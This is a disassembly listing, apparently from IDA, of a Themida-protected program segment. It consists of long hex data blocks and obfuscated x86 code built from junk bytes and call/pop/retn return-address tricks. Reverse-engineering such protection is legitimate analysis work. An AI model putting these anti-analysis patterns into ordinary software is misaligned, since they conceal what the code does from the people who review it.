		dd 0E3024185h, 0D595890Ah, 0C60AE333h, 0C7800100h, 9D8B6168h
		dd 0AE31B8Dh, 611BD83h,	0F000AE3h, 3E84h, 51CF8000h, 9509FF6Ah
		dd 0AE30539h, 95FF74B2h, 0AE31CD1h, 0FFEAE9F8h,	6AFFFFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0F00915C3h, 2D958BF0h, 0C70AE305h, 0E3061185h, 10Ah
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 62B2C6Eh, 6654E891h, 106BC281h, 4E108589h
		dd 0AE90AE3h, 8E000000h, 623912DEh, 712B7DFBh, 0D38B9006h
		dd 85899050h, 0AE32031h, 0ED958B60h, 6A0AE328h,	6D858905h
		dd 0F0AE317h, 38Eh, 0D0B70F00h,	4E28858Dh, 0DE8B0AE3h
		dd 0AE990h, 28710000h, 8076D58Ah, 0ACA70A2Bh, 50525050h
		dd 0FD78B52h, 5A5B5031h, 60310F58h, 0BE85953h, 0A3000000h
		dd 77AEA823h, 0CB0834C2h, 6159805Ch, 6A90585Ah,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 8344C355h, 0D0956F7Ch, 0B15BA66h, 4E18858Dh,	6A0AE3h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 8166D1C3h, 8B83FBC3h, 0DA8B90DEh, 0BD299050h, 0AE33019h
		dd 17D195FFh, 9D8B0AE3h, 0AE31BA5h, 1C19D01h, 8D8D0AE3h
		dd 0AE37ABDh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Bh,	0BC35242h, 60F0194Fh, 81FE3269h, 3B9089DAh, 74C00B15h
		dd 28858D11h, 500AE34Eh, 8589D1FFh, 0AE34E46h, 85C70AEBh
		dd 0AE34E46h, 0FFFFFFFFh, 7159D31h, 6A0AE3h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 390842C3h
		dd 9DB3CE98h, 5DBB665Fh, 8D29616Dh, 0AE32D8Dh, 1CF185C6h
		dd 314D0AE3h, 0E3198585h, 0F598680Ah, 3481D3BCh, 89833024h
		dd 53006A77h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 617763D9h, 0F903AE1Ch, 0B5FF11DBh, 0AE30469h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 83C35747h
		dd 4C4DF493h, 0C4DE6844h, 0DD9D895Ch, 660AE312h, 858DDF8Bh
		dd 0AE6ACF3h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 19h,	43C35343h, 9A7DF8F1h, 1FBA66F2h, 66D0FFE5h, 894CE6BAh
		dd 0E31F5585h, 2FC3810Ah, 0C6486CF8h, 0E31CF185h, 8B66450Ah
		dd 1CAE68D3h, 4811646h,	2C4CBB24h, 6E878h, 85B0000h, 37A58FD8h
		dd 5BE1EE80h, 2F11B5FFh, 870F0AE3h, 6, 16319D29h, 858D0AE3h
		dd 0AE6ACF3h, 14FD958Bh, 0D0FF0AE3h, 154C6CBAh,	9985894Eh
		dd 890AE310h, 0E322C58Dh, 6AD28B0Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 6C02C352h
		dd 0D1D577E7h, 10DC266h, 0E3183D95h, 0D98C660Ah, 7E860h
		dd 67090000h, 0C233F35Dh, 0DEBF0F18h, 6880F5Ah,	8B000000h
		dd 0E325FD85h, 0C1F6610Ah, 4840F04h, 89000003h,	0E31D35B5h
		dd 1EBE90Ah, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 7D573AC3h, 1CDCDDEFh, 0D59D8B1Bh
		dd 0E90AE311h, 0Dh, 0B8AD053Bh,	2D0D02Eh, 56A97512h, 12E860F0h
		dd 0F1000000h, 3832ABA2h, 0F41753FBh, 0A457CBF1h, 0D50E4830h
		dd 11E992h, 0C0770000h,	8BFE04Dh, 7A84256Ch, 5204378Fh
		dd 5A69A05Fh, 21958D29h, 8B610AE3h, 0E321A9B5h,	45958B0Ah
		dd 800AE316h, 0C6814AC3h, 1180h, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 1BC35545h, 537A4070h, 0BDD407E4h
		dd 830F60h, 66000000h, 80E9D681h, 21BD8361h, 0AE326h, 42850Fh
		dd 9570000h, 0E320019Dh, 0E3E95A0Ah, 6A000000h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 7576C351h, 44228935h, 0F08A7F6h, 0B82h, 6E900h, 0F99C0000h
		dd 263002CEh, 0F003E83h, 0A584h, 61958B00h, 600AE316h
		dd 0FE9h, 0F58FA800h, 0E02B0655h, 52843DEDh, 0CE2F7EDFh
		dd 22899D89h, 146A0AE3h, 10F9958Bh, 9D8B0AE3h, 0AE32BF9h
		dd 1CD195FFh, 6A0AE3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0EDC8FCC3h, 82B2E55h, 6A6188h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 7DE90FC3h, 6AFFFFFFh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0A0A3C350h,	50AB588Dh
		dd 0FB0B4BA4h, 19C58D01h, 6C70AE3h, 1, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0D9C35343h,	0B2D3491Fh, 19A4EEDEh
		dd 859D036Fh, 30AE31Eh,	0E331B99Dh, 10BD830Ah, 50AE34Eh
		dd 101850Fh, 0F5600000h, 0F616060h, 81h, 66616100h, 0B58BDF8Bh
		dd 0AE31099h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 18h,	7AC35747h, 3622D379h, 64B9h, 56006A00h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0F5DC8407h
		dd 0D799BAA4h, 3E800B67h, 18840FE8h, 0E9000000h, 6, 0CD02EDCFh
		dd 43E9E3CBh, 50000000h, 61DB529h, 805A0AE3h, 0FC2057Eh
		dd 4C84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 6EEF8071h, 0DE9h,	92D4B600h, 0CF097AD6h
		dd 9801EE65h, 66465F46h, 0F49D38Bh, 0FFFF9985h,	0D5FDBBFFh
		dd 30E91811h, 3000000h,	0E31AD99Dh, 0C5B5890Ah,	6A0AE32Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0B871C351h, 38B64462h, 58D18B66h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 34C35747h, 7B9719FCh
		dd 1375BD83h, 0F000AE3h, 11C84h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0ADF0FC3Dh
		dd 0CC8E03B5h, 1DE5BD89h, 0B5890AE3h, 0AE325DDh, 59958B60h
		dd 0C60AE320h, 0E31CF185h, 0EBA540Ah, 6865FF94h, 958BA7CFh
		dd 6129BA66h, 25240481h, 8969C317h, 0E31CD5B5h,	11B5FF0Ah
		dd 8D0AE32Fh, 0E6ACF385h, 0D78B660Ah, 5870F60h,	0BA000000h
		dd 48F86E34h, 0FEB1BE66h, 6AD0FF61h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 6A27C351h
		dd 2D9D2900h, 0FF0AE31Ah, 0E31375B5h, 0D6B70F0Ah, 6AD0FFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 3FB2DAC3h, 0F28A5F9Ch, 0D38BEA97h, 0FCDABA66h, 55006A61h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 8AE70942h, 0B2214B6Ah, 1E810FD2h, 0E8000000h, 13h, 0EE4AC20h
		dd 103C8F79h, 4FFF5504h, 0BCF0854Dh, 66B9C752h,	0B929E381h
		dd 6185C75Bh, 10AE31Fh,	1000000h, 0E311E5BDh, 89B2600Ah
		dd 0D49A68h, 1517BAB6h,	481175Eh, 0FF2BE624h, 0FF6AF549h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0BAC35343h
		dd 6630E85Dh, 95FFD18Bh, 0AE31E69h, 6830Fh, 95330000h
		dd 0AE320FDh, 52006A61h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 0CE03758Ch, 27B90E24h, 1958B60h
		dd 0B20AE332h, 0E990617Ch, 13h,	97CFCB09h, 0A6A9A5A1h
		dd 7BBAD331h, 0C1FDB7A7h, 50BEBEC7h, 5090D88Ah,	10E952h
		dd 79820000h, 107CF68Bh, 0E9031EC4h, 0D99E3C1Dh, 5B5A1324h
		dd 351D858Bh, 6A0AE3h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 9ECDA7C3h, 499D2378h, 0B0AE32Fh
		dd 34840FC0h, 8B000000h, 9995FFD9h, 6A0AE325h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 8CFEC357h, 8B66FFF6h, 0E3001195h, 9185090Ah,	0C70AE321h
		dd 0E3090985h, 10Ah, 0F58D8900h, 830AE331h, 0E3317DBDh
		dd 840F000Ah, 12h, 3135958Bh, 95FF0AE3h, 0AE30215h, 5BCDEB81h
		dd 0BD8373B3h, 0AE31D15h, 4B840F00h, 6A000000h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 72D8C357h, 6B05611Eh, 68C0Fh, 8D890000h, 0AE318B5h
		dd 6800Fh, 958B0000h, 0AE329BDh, 12B995FFh, 0BD890AE3h
		dd 0AE31F89h, 17698589h, 0BD830AE3h, 0AE332F9h,	48840F00h
		dd 29000000h, 0E3263185h, 0A5BD830Ah, 0AE301h, 35850Fh
		dd 85890000h, 0AE31871h, 28995FFh, 6A0AE3h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 98B23DC3h
		dd 0DF385621h, 0BA665304h, 835A7CF2h, 0E31419BDh, 840F000Ah
		dd 60h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h
		dd 29C35141h, 1B891C8Ah, 1C98501h, 85810AE3h, 0AE32D95h
		dd 4003h, 0A599529h, 85810AE3h,	0AE32F19h, 4003h, 14E8h
		dd 944E6000h, 1D7F0A73h, 7013762h, 6E0861ABh, 5ABAD0F8h
		dd 49950111h, 5B0AE31Eh, 6A310Fh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0F96CDCC3h, 29DA817Eh
		dd 0E321A5BDh, 708D8D0Ah, 8B0AE35Eh, 0F0189D6h,	687h, 71B53100h
		dd 0F0AE310h, 0C233D2B7h, 0D858B60h, 660AE305h,	6117D2BEh
		dd 6A044189h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 3320C350h, 4A11FA79h, 6E9A47Dh
		dd 97000000h, 0EA3414B3h, 60310F04h, 68B0Fh, 0CA810000h
		dd 5D0BF698h, 6259D29h,	8D610AE3h, 0E35E808Dh, 9DE1BB0Ah
		dd 18969FCh, 6AC233F9h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 4922C353h, 89B13378h
		dd 83F50441h, 0E315D1BDh, 840F000Ah, 10h, 7777BA66h, 0FD995FFh
		dd 0C2810AE3h, 48E32996h, 31A9BD83h, 0F010AE3h,	4E85h
		dd 49E900h, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 160424h, 53430000h, 4F5AC0C3h, 0B58BF38Ah, 0AE35F9Fh
		dd 6C7h, 0B58B0000h, 0AE35D71h,	6C7h, 66CF0000h, 23EC34BAh
		dd 0E305419Dh, 2D9D230Ah, 830AE304h, 0E30909BDh, 840F000Ah
		dd 164h, 1BE59D8Bh, 0BD830AE3h,	0AE332D1h, 14850F01h, 0F000001h
		dd 8D8BDFB7h, 0AE34E04h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0AFC35545h, 0BBE40734h, 999D8BC6h, 8B0AE307h
		dd 0E32E999Dh, 1C60Ah, 12E8h, 98CAEC00h, 1CAE7C9h, 8D0D565Ch
		dd 0A1F30B63h, 81EE8929h, 981518F3h, 89605A65h,	0E3052D85h
		dd 4E80Ah, 800000h, 3BBB0000h, 500D4A97h, 57D78B60h, 310F5250h
		dd 615F585Ah, 424448Bh,	10E950h, 211A0000h, 2758540h, 79E74E05h
		dd 0F0A31DC6h, 8B5B8D8Ah, 89F18A00h, 56042444h,	585AA9B7h
		dd 0BF75BB66h, 0FFFCFF6Ah, 0E31E6995h
		dd 0D7BA660Ah, 958B6107h, 0AE305F1h, 2E5595FFh,	0E8600AE3h
		dd 0Dh,	83EA6D9Eh, 57B43E8Ah, 0B97BE4C7h, 5AC58A8Ah, 48D8B61h
		dd 600AE34Eh, 4800Fh, 0B9660000h, 958B5C75h, 0AE33121h
		dd 6A01FE61h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0EDD1C352h, 0C59D8B24h, 830AE32Dh
		dd 0E31E4DBDh, 850F010Ah, 30h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0E5C35141h,	830F91F8h, 6, 0AD958Bh
		dd 95890AE3h, 0AE32BFDh, 8B0FC08Bh, 3, 83D8BF0Fh, 0E32569BDh
		dd 975000Ah, 198DBD83h,	74000AE3h, 8B53501Ah, 95858BC0h
		dd 890AE32Dh, 0E32D9585h, 0C59D8D0Ah, 0FF0AE5DDh, 83585BD3h
		dd 0E3198DBDh, 1874000Ah, 858B5350h, 0AE32D95h,	2D958589h
		dd 9D8D0AE3h, 0AE5DAB4h, 585BD3FFh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 0E4C35242h,	6D5272C4h, 0F38137B6h
		dd 5C05151Ah, 25E99D89h, 0C08B0AE3h, 18359589h,	0BD830AE3h
		dd 0AE30909h, 40850F00h, 60000000h, 0B8C38B66h,	791C3617h
		dd 0E5BD8361h, 0AE32Fh,	29840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0ED8EF2C3h
		dd 0ABD7DA8Bh, 219D2911h, 830AE321h, 0E30909BDh, 840F000Ah
		dd 47h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh
		dd 3FC35545h, 0C99D8D4Fh, 0B2779E32h, 0D3BF0FDAh, 2E05BD83h
		dd 0F000AE3h, 1284h, 0C860F00h,	0E9000000h, 7, 948E189h
		dd 83E9A78Dh, 0E30909BDh, 840F000Ah, 22h, 0AE9h, 7A41D900h
		dd 2EB3515Ah, 83DFD4D9h, 0E32E05BDh, 840F000Ah,	6, 253D952Bh
		dd 0BD830AE3h, 0AE30909h, 3D840F00h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0E92BC350h, 0Ah, 26AF6FB6h, 0F8ABE0F9h, 5B7F3E7h, 1E35BD83h
		dd 0F000AE3h, 384h, 0DA8B6600h,	909BD83h, 0F000AE3h, 4384h
		dd 83DA8B00h, 0E30AD1BDh, 840F000Ah, 34h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Dh, 5FC35141h, 3FC6FB5Dh
		dd 0C6767340h, 0DF8B66CCh, 200595FFh, 0BB660AE3h, 6AB299B9h
		dd 9589C08Bh, 0AE32991h, 0BD8332B6h, 0AE32569h,	83097500h
		dd 0E3198DBDh, 1A74000Ah, 0C08B5350h, 2F19858Bh, 85890AE3h
		dd 0AE32F19h, 0DE2C9D8Dh, 0D3FF0AE5h, 0BD83585Bh, 0AE3198Dh
		dd 50187400h, 19858B53h, 890AE32Fh, 0E32F1985h,	0CD9D8D0Ah
		dd 0FF0AE5DAh, 6A585BD3h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0E5BC355h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0E8C35343h, 6660AD27h
		dd 7BE9D881h, 3135BD89h, 8B610AE3h, 998589C0h, 830AE31Eh
		dd 0E30909BDh, 840F000Ah, 3F1h,	18E0Fh,	83F90000h, 0E31565BDh
		dd 840F020Ah, 34h, 0FBB70F60h, 0BD8361F8h, 0AE331A9h, 21850F01h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0A82C355h, 0D08B6668h,	85895160h
		dd 0AE32379h, 48D8B5Bh,	600AE34Eh, 1890Fh, 0E9F90000h
		dd 10h,	7A41D9F5h, 2EB3515Ah, 80DFD4D9h, 0A1ED3C3Ah, 6001FE61h
		dd 9D1FE981h, 68617D3Fh, 338999Eh, 9E9h, 0A585F000h, 4B028BB5h
		dd 348153F9h, 38991E24h, 45E28103h, 6A122177h, 0FD9533FFh
		dd 0FF0AE314h, 0E31E6995h, 61D88B0Ah, 10E8h, 0A7853A00h
		dd 6D9920D1h, 8610AE6Bh, 38FCC5AEh, 719D8B15h, 5B0AE300h
		dd 3251BD8Dh, 6A0AE3h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0A71294C3h, 0E97E9124h, 8B44A6C2h
		dd 0E3302D95h, 1C4F8B0Ah, 4FD28166h, 0E9016AAAh, 0Ch, 3203F91Bh
		dd 36E96AE0h, 12C25D84h, 12E891h, 94E10000h, 0E3477A0Ch
		dd 0F5896E7Bh, 5475DF2Fh, 0FEDB1059h, 505BFBB7h, 92BA5250h
		dd 0F652746h, 0E9525031h, 0Eh, 0C4C85DDAh, 7ED6FE16h, 0CD14CAC0h
		dd 310FB81Dh, 13E8h, 678CC500h,	0D266A126h, 8F7DB727h
		dd 0D8F31470h, 1EC58010h, 5A585A5Bh, 5DBB9158h,	8D331449h
		dd 0E66DAA85h, 585090Ah, 0FF0AE32Ch, 0FD9589D0h, 8B0AE306h
		dd 6A204Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 85DCF4C3h, 7CB3FFE9h, 7E934BFh, 34000000h
		dd 0EF0C7728h, 36A6012h, 18559D8Bh, 0E9500AE3h,	0Ah, 0DA7E90EDh
		dd 9E8F6B4Ch, 0C89CB8Ah, 13E824h, 940C0000h, 6AB99BC9h
		dd 4C2201D8h, 16831653h, 280A42F3h, 4DBD317Dh, 5A0AE315h
		dd 6DAA858Dh, 880F0AE6h, 5, 0DAD38166h,	0BD0FF47h, 0E333CD9Dh
		dd 51CB800Ah, 3251BD8Dh, 6A0AE3h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 241CB7C3h, 658EFA34h
		dd 11458529h, 4F8B0AE3h, 82CA811Ch, 6A65AD5Ch, 9958B01h
		dd 910AE320h, 50D68B66h, 0EDC7E1BAh, 6A9109h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 3C6F4DC3h
		dd 8D5C6DF0h, 0E66DAA85h, 51006A0Ah, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 6AD0FFF9h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0E9B5C352h, 315DB509h, 8D890AE3h,	0AE30049h
		dd 6A204F8Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 3B39C350h, 79E9F754h, 423883A0h
		dd 6A036Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 1FBA3EC3h, 9153B16Fh, 0EE2658BAh,	50605005h
		dd 0C88B6652h, 5250310Fh, 585A310Fh, 8D0F585Ah,	5, 0BE7D2AB9h
		dd 66916120h, 8DE204BAh, 0E66DAA85h, 0F5958B0Ah, 0FF0AE322h
		dd 53006AD0h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 9B495796h, 0FD68B939h, 578BDA81h, 8D8B22CDh
		dd 0AE34E04h, 0FEDBB70Fh, 8BDE8B01h, 0E34E0485h, 618D890Ah
		dd 8B0AE32Dh, 0E301DD9Dh, 6A00FE0Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 42FDC352h
		dd 0DB6E7DA4h, 662AEE6Ch, 6A53E5BBh, 0DE8B6601h, 2391268h
		dd 30B75195h, 2404815Ah, 6AFD66EDh, 17F19531h, 858D0AE3h
		dd 0AE66DB4h, 21099D8Bh, 0D0FF0AE3h, 3820Fh, 0C3800000h
		dd 0E5BD8378h, 0AE32Fh,	0D1840Fh, 2B70000h, 2269BD83h
		dd 0F010AE3h, 0C285h, 359D8B00h, 8D0AE321h, 0E66DBE8Dh
		dd 56006A0Ah, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0C4B8B37Bh, 4131A406h, 92CB8062h, 6A036Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 263002C3h, 0FED542D4h, 5D4430BBh, 0D98B6612h, 66A9EB81h
		dd 16A4271h, 0D890Fh, 8E90000h,	5B000000h, 0E0FA2E22h
		dd 0FF8984A2h, 6D952BD1h, 6A0AE32Eh, 0D9BF0F01h, 8166016Ah
		dd 0FFA0DCD2h, 52006AD1h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h
		dd 1904h, 0C3524200h, 60AAC9A5h, 0B58985A3h, 0AE3256Dh
		dd 786DB3E8h, 9B509F5h,	6A0AE304h, 0DE8B6620h, 9D8BFF6Ah
		dd 0AE32FBDh, 1E6995FFh, 31B70AE3h, 0B8h, 68A0F00h, 31000000h
		dd 0E30ACDBDh, 0FC00B0Ah, 4684h, 759D8B00h, 830AE310h
		dd 0E314E9BDh, 840F000Ah, 33h, 26258D89h, 0EF800AE3h, 0B195FF63h
		dd 310AE333h, 0E30FF1BDh, 0DE80Ah, 5710000h, 0F83FEEFBh
		dd 4B3878Bh, 0E9C867CEh, 6, 0D6C50C3h, 8B5A09BBh, 0E31A6585h
		dd 0D5CB810Ah, 0C613CD4Eh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 360B78C3h
		dd 6D958B06h, 660AE313h, 583549BAh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 11C35646h, 99028116h, 8E0F091Fh
		dd 6, 15319D33h, 8C660AE3h, 0AD958BD9h,	0F60AE31Ch, 840F04C1h
		dd 88h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh
		dd 0ADC35343h, 0E484CFA2h, 8B295026h, 0E32F499Dh, 5AE90Ah
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 6E90BDC3h, 66BB90D0h, 8BFEF8BAh, 0E321A9B5h
		dd 0D3B70F0Ah, 1180C681h, 7E90000h, 32000000h, 0FC377709h
		dd 6C77332h, 0
; ---------------------------------------------------------------------------
		jmp	loc_588F40
; ---------------------------------------------------------------------------
		db 6Fh,	0D3h, 58h
		dd 0F5214C1h, 0D972D56Eh, 0A8E97480h
; ---------------------------------------------------------------------------


loc_588F40:				; CODE XREF: Themida_:00588F2Cj
		pop	esi
		jnp	loc_588F4C
		and	bx, 2938h


loc_588F4C:				; CODE XREF: Themida_:00588F41j
		cmp	eax, 0
		jz	loc_589A68
		mov	dl, cl
		cmp	eax, 1
		jnz	loc_5890FF
		add	[ebp+0AE31EA1h], eax
		mov	dl, 0B6h
		mov	eax, 0
		jmp	loc_588F78
; ---------------------------------------------------------------------------
		dw 73DEh
		dd 2CF6BB34h
; ---------------------------------------------------------------------------


loc_588F78:				; CODE XREF: Themida_:00588F6Dj
		or	eax, eax
		jz	loc_589024
		mov	ebx, edi
		cmp	eax, 1
		jz	loc_58905B
		push	0
		push	esi
		call	sub_588F96
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588F96	proc near		; CODE XREF: Themida_:00588F8Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_588F96	endp

; ---------------------------------------------------------------------------
		fucomip	st, st(3)
		mov	byte ptr [edi],	0A6h
		das
		xchg	dl, bl
		and	bx, 1D76h
		cmp	eax, 3
		jz	loc_589009
		mov	bl, 1Ch
		sub	eax, eax
		stc
		lea	edi, dword_5B89E0[ebp]
		push	0
		push	esi
		call	sub_588FD2
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588FD2	proc near		; CODE XREF: Themida_:00588FCAp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_588FD2	endp

; ---------------------------------------------------------------------------
		dw 0C54Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		movsb
		sbb	al, 43h
		cld
		sahf
		or	[ebp+0AE32685h], edi
		jmp	edi
; ---------------------------------------------------------------------------
		jg	loc_589009
		jmp	loc_589009
; ---------------------------------------------------------------------------
		db 92h,	27h, 0F7h
		dd 4DFC68E2h, 0F3BB9F64h
; ---------------------------------------------------------------------------
		push	ecx


loc_589009:				; CODE XREF: Themida_:00588FB6j
					; Themida_:00588FF2j ...
		mov	eax, 1
		movsx	ebx, bx
		lea	edi, dword_5B89E0[ebp]
		mov	edx, 1088ECD2h
		jmp	edi
; ---------------------------------------------------------------------------
		mov	edx, [ebp+0AE31235h]


loc_589024:				; CODE XREF: Themida_:00588F7Aj
		lea	edi, [ebp+0AE34490h]
		push	0
		push	esi
		call	sub_589035
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589035	proc near		; CODE XREF: Themida_:0058902Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_589035	endp

; ---------------------------------------------------------------------------
		db 71h,	39h, 47h
		dd 0BD8968B8h, 0AE324F5h, 2D8E9h, 3DBD8900h
		db 18h,	0E3h, 0Ah
; ---------------------------------------------------------------------------


loc_58905B:				; CODE XREF: Themida_:00588F85j
		mov	dword ptr [ebp+0AE34E5Fh], 5
		push	0
		push	edx
		call	sub_589070
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589070	proc near		; CODE XREF: Themida_:00589068p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_589070	endp

; ---------------------------------------------------------------------------


loc_589080:				; CODE XREF: Themida_:00589083j
		mov	ch, [edi+eax*8]
		jecxz	short loc_589080
		sbb	al, 8
		retn
; ---------------------------------------------------------------------------
		jo	loc_5890A3
		jmp	loc_5890A3
; ---------------------------------------------------------------------------
		db 9Dh
		dd 8CAD1167h, 0BC494ECFh, 0CA84F5h
		db 0ECh, 0AFh, 1Dh
; ---------------------------------------------------------------------------


loc_5890A3:				; CODE XREF: Themida_:00589088j
					; Themida_:0058908Ej
		mov	eax, 5
		pusha
		mov	cx, 0A5CEh
		mov	ax, 0E23h
		popa
		jmp	loc_589992
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5890C2
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5890C2	proc near		; CODE XREF: Themida_:005890BAp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5890C2	endp

; ---------------------------------------------------------------------------
		mov	dl, 2Ah
		jmp	loc_5890ED
; ---------------------------------------------------------------------------
		push	4Eh
		mov	esi, 3E88B867h
		stosb
		lahf
		mov	eax, ds:dword_59E41D
		movsd
		add	dl, [ebp-13h]
		pusha
		dec	esp


loc_5890ED:				; CODE XREF: Themida_:005890D4j
		mov	bx, si
		jmp	loc_5890FF
; ---------------------------------------------------------------------------
		db 4Dh,	0F3h, 0A3h
		dd 184C216Eh
		db 79h,	21h, 65h
; ---------------------------------------------------------------------------


loc_5890FF:				; CODE XREF: Themida_:00588F5Aj
					; Themida_:005890F0j
		cmp	eax, 2
		jnz	loc_589207
		push	0
		push	ecx
		call	sub_589113
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589113	proc near		; CODE XREF: Themida_:0058910Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_589113	endp

; ---------------------------------------------------------------------------
		mov	bh, 16h
		pop	ds
		sub	al, 8Ah
		sub	bl, 57h
		mov	eax, 0
		or	eax, eax
		jz	loc_5891EB
		push	0
		push	esi
		call	sub_589143
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589143	proc near		; CODE XREF: Themida_:0058913Bp

arg_4		= dword	ptr  8

		pop	esi
